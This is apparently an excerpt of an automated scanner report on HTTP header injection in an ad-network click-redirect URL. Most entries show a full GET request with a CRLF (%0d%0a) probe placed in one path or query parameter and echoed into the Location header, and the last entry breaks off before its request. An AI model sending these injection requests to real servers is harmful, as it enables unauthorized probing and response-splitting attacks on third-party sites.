ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 15 is copied into the Location response header. The payload 52493%0d%0a224473ccc99 was submitted in the REST URL parameter 15. This caused a response containing an injected HTTP header.
Request
GET /h.click/aQmNQCR6fK2WFm0tZbInH2x46MQ4GnaVcBcVVJfPP3OUtnTUbMX3raqWqvtTEJdSaMZdRVBCPb6pSWMcWcQR5F6vnWqm0qmn2WbFSGbC2AnHpHPtVWJ7YrfaXUFj0TeMRbUZcUbvYWHM3orYmQFfo1qvq4qbl2a7fs21jlE/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/FarmersDirect/2011Q1/A_TX/300/L44/902448725/52493%0d%0a224473ccc99/USNetwork/FarmD_2011Q1_TRIBALF_A_TX_300/FarmersDirect_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 16 is copied into the Location response header. The payload 2b2bd%0d%0ad6cedd4809c was submitted in the REST URL parameter 16. This caused a response containing an injected HTTP header.
Request
GET /h.click/aQmNQCR6fK2WFm0tZbInH2x46MQ4GnaVcBcVVJfPP3OUtnTUbMX3raqWqvtTEJdSaMZdRVBCPb6pSWMcWcQR5F6vnWqm0qmn2WbFSGbC2AnHpHPtVWJ7YrfaXUFj0TeMRbUZcUbvYWHM3orYmQFfo1qvq4qbl2a7fs21jlE/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/FarmersDirect/2011Q1/A_TX/300/L44/902448725/x90/2b2bd%0d%0ad6cedd4809c/FarmD_2011Q1_TRIBALF_A_TX_300/FarmersDirect_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 17 is copied into the Location response header. The payload 99dde%0d%0a3eec990608a was submitted in the REST URL parameter 17. This caused a response containing an injected HTTP header.
Request
GET /h.click/aQmNQCR6fK2WFm0tZbInH2x46MQ4GnaVcBcVVJfPP3OUtnTUbMX3raqWqvtTEJdSaMZdRVBCPb6pSWMcWcQR5F6vnWqm0qmn2WbFSGbC2AnHpHPtVWJ7YrfaXUFj0TeMRbUZcUbvYWHM3orYmQFfo1qvq4qbl2a7fs21jlE/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/FarmersDirect/2011Q1/A_TX/300/L44/902448725/x90/USNetwork/99dde%0d%0a3eec990608a/FarmersDirect_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 18 is copied into the Location response header. The payload 10f5a%0d%0a7f475f239a3 was submitted in the REST URL parameter 18. This caused a response containing an injected HTTP header.
Request
GET /h.click/aQmNQCR6fK2WFm0tZbInH2x46MQ4GnaVcBcVVJfPP3OUtnTUbMX3raqWqvtTEJdSaMZdRVBCPb6pSWMcWcQR5F6vnWqm0qmn2WbFSGbC2AnHpHPtVWJ7YrfaXUFj0TeMRbUZcUbvYWHM3orYmQFfo1qvq4qbl2a7fs21jlE/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/FarmersDirect/2011Q1/A_TX/300/L44/902448725/x90/USNetwork/FarmD_2011Q1_TRIBALF_A_TX_300/10f5a%0d%0a7f475f239a3/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 19 is copied into the Location response header. The payload 6077c%0d%0a81e460d100 was submitted in the REST URL parameter 19. This caused a response containing an injected HTTP header.
Request
GET /h.click/aQmNQCR6fK2WFm0tZbInH2x46MQ4GnaVcBcVVJfPP3OUtnTUbMX3raqWqvtTEJdSaMZdRVBCPb6pSWMcWcQR5F6vnWqm0qmn2WbFSGbC2AnHpHPtVWJ7YrfaXUFj0TeMRbUZcUbvYWHM3orYmQFfo1qvq4qbl2a7fs21jlE/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/FarmersDirect/2011Q1/A_TX/300/L44/902448725/x90/USNetwork/FarmD_2011Q1_TRIBALF_A_TX_300/FarmersDirect_2011Q1.html/6077c%0d%0a81e460d100 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 3 is copied into the Location response header. The payload 316e2%0d%0af3f106cb4ed was submitted in the REST URL parameter 3. This caused a response containing an injected HTTP header.
Request
GET /h.click/aQmNQCR6fK2WFm0tZbInH2x46MQ4GnaVcBcVVJfPP3OUtnTUbMX3raqWqvtTEJdSaMZdRVBCPb6pSWMcWcQR5F6vnWqm0qmn2WbFSGbC2AnHpHPtVWJ7YrfaXUFj0TeMRbUZcUbvYWHM3orYmQFfo1qvq4qbl2a7fs21jlE/316e2%0d%0af3f106cb4ed/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/FarmersDirect/2011Q1/A_TX/300/L44/902448725/x90/USNetwork/FarmD_2011Q1_TRIBALF_A_TX_300/FarmersDirect_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 4 is copied into the Location response header. The payload 6ef98%0d%0adf03781253c was submitted in the REST URL parameter 4. This caused a response containing an injected HTTP header.
Request
GET /h.click/aQmNQCR6fK2WFm0tZbInH2x46MQ4GnaVcBcVVJfPP3OUtnTUbMX3raqWqvtTEJdSaMZdRVBCPb6pSWMcWcQR5F6vnWqm0qmn2WbFSGbC2AnHpHPtVWJ7YrfaXUFj0TeMRbUZcUbvYWHM3orYmQFfo1qvq4qbl2a7fs21jlE/http:/6ef98%0d%0adf03781253c/RealMedia/ads/click_lx.ads/TribalFusionB3/FarmersDirect/2011Q1/A_TX/300/L44/902448725/x90/USNetwork/FarmD_2011Q1_TRIBALF_A_TX_300/FarmersDirect_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 5 is copied into the Location response header. The payload e29cc%0d%0a7ba6994efad was submitted in the REST URL parameter 5. This caused a response containing an injected HTTP header.
Request
GET /h.click/aQmNQCR6fK2WFm0tZbInH2x46MQ4GnaVcBcVVJfPP3OUtnTUbMX3raqWqvtTEJdSaMZdRVBCPb6pSWMcWcQR5F6vnWqm0qmn2WbFSGbC2AnHpHPtVWJ7YrfaXUFj0TeMRbUZcUbvYWHM3orYmQFfo1qvq4qbl2a7fs21jlE/http:/b3.mookie1.com/e29cc%0d%0a7ba6994efad/ads/click_lx.ads/TribalFusionB3/FarmersDirect/2011Q1/A_TX/300/L44/902448725/x90/USNetwork/FarmD_2011Q1_TRIBALF_A_TX_300/FarmersDirect_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 6 is copied into the Location response header. The payload 3a728%0d%0a6b904cbb811 was submitted in the REST URL parameter 6. This caused a response containing an injected HTTP header.
Request
GET /h.click/aQmNQCR6fK2WFm0tZbInH2x46MQ4GnaVcBcVVJfPP3OUtnTUbMX3raqWqvtTEJdSaMZdRVBCPb6pSWMcWcQR5F6vnWqm0qmn2WbFSGbC2AnHpHPtVWJ7YrfaXUFj0TeMRbUZcUbvYWHM3orYmQFfo1qvq4qbl2a7fs21jlE/http:/b3.mookie1.com/RealMedia/3a728%0d%0a6b904cbb811/click_lx.ads/TribalFusionB3/FarmersDirect/2011Q1/A_TX/300/L44/902448725/x90/USNetwork/FarmD_2011Q1_TRIBALF_A_TX_300/FarmersDirect_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 7 is copied into the Location response header. The payload 7265f%0d%0a8acca6d500f was submitted in the REST URL parameter 7. This caused a response containing an injected HTTP header.
Request
GET /h.click/aQmNQCR6fK2WFm0tZbInH2x46MQ4GnaVcBcVVJfPP3OUtnTUbMX3raqWqvtTEJdSaMZdRVBCPb6pSWMcWcQR5F6vnWqm0qmn2WbFSGbC2AnHpHPtVWJ7YrfaXUFj0TeMRbUZcUbvYWHM3orYmQFfo1qvq4qbl2a7fs21jlE/http:/b3.mookie1.com/RealMedia/ads/7265f%0d%0a8acca6d500f/TribalFusionB3/FarmersDirect/2011Q1/A_TX/300/L44/902448725/x90/USNetwork/FarmD_2011Q1_TRIBALF_A_TX_300/FarmersDirect_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 8 is copied into the Location response header. The payload 9300b%0d%0a0bad28ce6f1 was submitted in the REST URL parameter 8. This caused a response containing an injected HTTP header.
Request
GET /h.click/aQmNQCR6fK2WFm0tZbInH2x46MQ4GnaVcBcVVJfPP3OUtnTUbMX3raqWqvtTEJdSaMZdRVBCPb6pSWMcWcQR5F6vnWqm0qmn2WbFSGbC2AnHpHPtVWJ7YrfaXUFj0TeMRbUZcUbvYWHM3orYmQFfo1qvq4qbl2a7fs21jlE/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/9300b%0d%0a0bad28ce6f1/FarmersDirect/2011Q1/A_TX/300/L44/902448725/x90/USNetwork/FarmD_2011Q1_TRIBALF_A_TX_300/FarmersDirect_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of REST URL parameter 9 is copied into the Location response header. The payload 64110%0d%0a7baeb896275 was submitted in the REST URL parameter 9. This caused a response containing an injected HTTP header.
Request
GET /h.click/aQmNQCR6fK2WFm0tZbInH2x46MQ4GnaVcBcVVJfPP3OUtnTUbMX3raqWqvtTEJdSaMZdRVBCPb6pSWMcWcQR5F6vnWqm0qmn2WbFSGbC2AnHpHPtVWJ7YrfaXUFj0TeMRbUZcUbvYWHM3orYmQFfo1qvq4qbl2a7fs21jlE/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/64110%0d%0a7baeb896275/2011Q1/A_TX/300/L44/902448725/x90/USNetwork/FarmD_2011Q1_TRIBALF_A_TX_300/FarmersDirect_2011Q1.html/72634857383030695a694d41416f6366 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
The value of the http://ad.doubleclick.net/jump/N3740.270604.B3/B5112048;abr request parameter is copied into the Location response header. The payload 7f89d%0d%0a3c0d66486b9 was submitted in the http://ad.doubleclick.net/jump/N3740.270604.B3/B5112048;abr parameter. This caused a response containing an injected HTTP header.
Request
GET /h.click/aQmNQCR6fK2WFm0tZbInH2x46MQ4GnaVcBcVVJfPP3OUtnTUbMX3raqWqvtTEJdSaMZdRVBCPb6pSWMcWcQR5F6vnWqm0qmn2WbFSGbC2AnHpHPtVWJ7YrfaXUFj0TeMRbUZcUbvYWHM3orYmQFfo1qvq4qbl2a7fs21jlE/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/FarmersDirect/2011Q1/A_TX/300/L44/902448725/x90/USNetwork/FarmD_2011Q1_TRIBALF_A_TX_300/FarmersDirect_2011Q1.html/72634857383030695a694d41416f6366?http://ad.doubleclick.net/jump/N3740.270604.B3/B5112048;abr=7f89d%0d%0a3c0d66486b9 HTTP/1.1 Host: a.tribalfusion.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ANON_ID=a8nCGVw5EABCYAtRiklfg7ZdwC3yDFXRkhhrUF4qg3L3sZaUqOhZaZbriw2WPLmjhHlQa1esZad0jks9r5evcfWCKHXN6ygaUM0hM7TDZbu7CY4wy78PaZbTGPb7eIpCLDkYjrD5aptZb67wPMULu6v0W1mFnjwVDNvC6KyuZagfdstZaTfoaXyMLOAnZcYEC1NoRZdIZdCkh8ZaH4vwDhMYdiklQyrg17ZadsS3pZbJSCH2cH8BxBeWBKpgVWW299pILw1WvixDGuy5ueYZcYcnUZckKvnZaSIBnhGag5uwmFhABpnlSiMcRhCsepIj62LaXCxZaiZcDipNKhuKgsExQ16B9y31RhZbj4XxIdZa6BI4DgsPSRJqN0WkRoGaHZbIyeLiyZcs057ZcPZbZdNCM6JR1QBP6T8Ma5MC8Cjl7ZcaB3V1bUllZbZbTlswMnyRFsDUuQm4LZa5m7ZacKFDP345FH1E7sR42bZcivkJaVgpgZdZcVIRUZbA1cT5anNPmLdKsZbBi7vLvKv5nSwGuSyCLeMix0MAXVCk9yZbtfuewiRpSHJRcMYhyZd5lgYDbkcZdiMJcfFXQjZa15;
3.53. http://a.tribalfusion.com/h.click/aQmNQCR6fK2WFm0tZbInH2x46MQ4GnaVcBcVVJfPP3OUtnTUbMX3raqWqvtTEJdSaMZdRVBCPb6pSWMcWcQR5F6vnWqm0qmn2WbFSGbC2AnHpHPtVWJ7YrfaXUFj0TeMRbUZcUbvYWHM3orYmQFfo1qvq4qbl2a7fs21jlE/http:/b3.mookie1.com/RealMedia/ads/click_lx.ads/TribalFusionB3/FarmersDirect/2011Q1/A_TX/300/L44/902448725/x90/USNetwork/FarmD_2011Q1_TRIBALF_A_TX_300/FarmersDirect_2011Q1.html/72634857383030695a694d41416f6366 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload 360e7%0d%0ab239a5c1971 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.
Request
